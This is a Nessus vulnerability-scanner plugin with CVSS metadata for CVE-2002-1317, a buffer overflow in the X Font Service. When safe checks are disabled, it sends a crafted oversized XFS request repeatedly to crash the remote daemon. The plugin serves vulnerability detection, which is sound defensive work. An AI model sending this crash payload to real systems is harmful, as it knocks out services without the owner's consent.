CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
EPSS
Percentile
96.0%
The remote X Font Service (xfs) is affected by a buffer overflow.
An attacker may use this flaw to gain shell access on the remote host as ‘root’ or ‘nobody’.
#
# (C) Tenable Network Security, Inc.
#
# It turns out the initial revision of this script would *not* crash
# all versions of the font service.
include("compat.inc");
if (description)
{
script_id(11188);
script_version("1.27");
script_cvs_date("Date: 2018/09/10 11:37:04");
script_cve_id("CVE-2002-1317");
script_bugtraq_id(6241);
script_xref(name:"CERT-CC", value:"CA-2002-34");
script_name(english:"X Font Service Crafted XFS Query Remote Overflow");
script_summary(english:"Crashes the remote XFS daemon");
script_set_attribute(attribute:"synopsis", value:"The remote font service is affected by a buffer overflow.");
script_set_attribute(attribute:"description", value:
"The remote X Font Service (xfs) is affected by a buffer overflow.
An attacker may use this flaw to gain shell access on the remote host
as 'root' or 'nobody'.");
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?01026fdd");
script_set_attribute(attribute:"solution", value:
"Apply the appropriate vendor patch as referenced in CERT Advisory
CA-2002-34.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2002/11/26");
script_set_attribute(attribute:"plugin_publication_date", value:"2002/12/04");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_MIXED_ATTACK);
script_copyright(english:"This script is Copyright (C) 2002-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_family(english:"Gain a shell remotely");
script_dependencie("os_fingerprint.nasl");
script_require_ports(7100);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("solaris.inc");
version = get_kb_item("Host/Solaris/Version");
if ( version && "5.10" >< version ) exit(0);
if ( version && ereg(pattern:"^5\.[89]", string:version) )
{
if ( solaris_check_patch(release:"5.8_x86", arch:"intel", patch:"109863-03") >= 0 ||
solaris_check_patch(release:"5.8", arch:"sparc", patch:"109862-03") >= 0 ||
solaris_check_patch(release:"5.9", arch:"sparc", patch:"113923-02") >= 0 ||
solaris_check_patch(release:"5.9_x86", arch:"intel", patch:"113924-02") >= 0)
exit(0);
}
kb = known_service(port:7100);
if(kb && kb != "xfs")exit(0);
port = 7100;
if(safe_checks())
{
if (report_paranoia < 2) audit(AUDIT_PARANOID); # No FP
if(get_port_state(port))
{
soc = open_sock_tcp(port);
if(soc)
{
close(soc);
report = string(
"Note that Nessus has not tried to exploit the overflow because safe\n",
"checks are enabled but instead has only determined that an X Font\n",
"Service is running."
);
security_hole(port:port, extra:report);
}
}
exit(0);
}
# Safe checks are disabled - let's be nasty.
req = string("B", raw_string(0x00, 0x02), crap(1024));
if(get_port_state(port))
{
soc = open_sock_tcp(port);
if(!soc)exit(0);
send(socket:soc, data:req);
close(soc);
# We might need to re-try the attack up to ten times
for(i = 0 ; i < 10 ; i = i + 1)
{
soc = open_sock_tcp(port);
if(soc)
{
send(socket:soc, data:req);
close(soc);
} else { security_hole(port); exit(0); }
}
}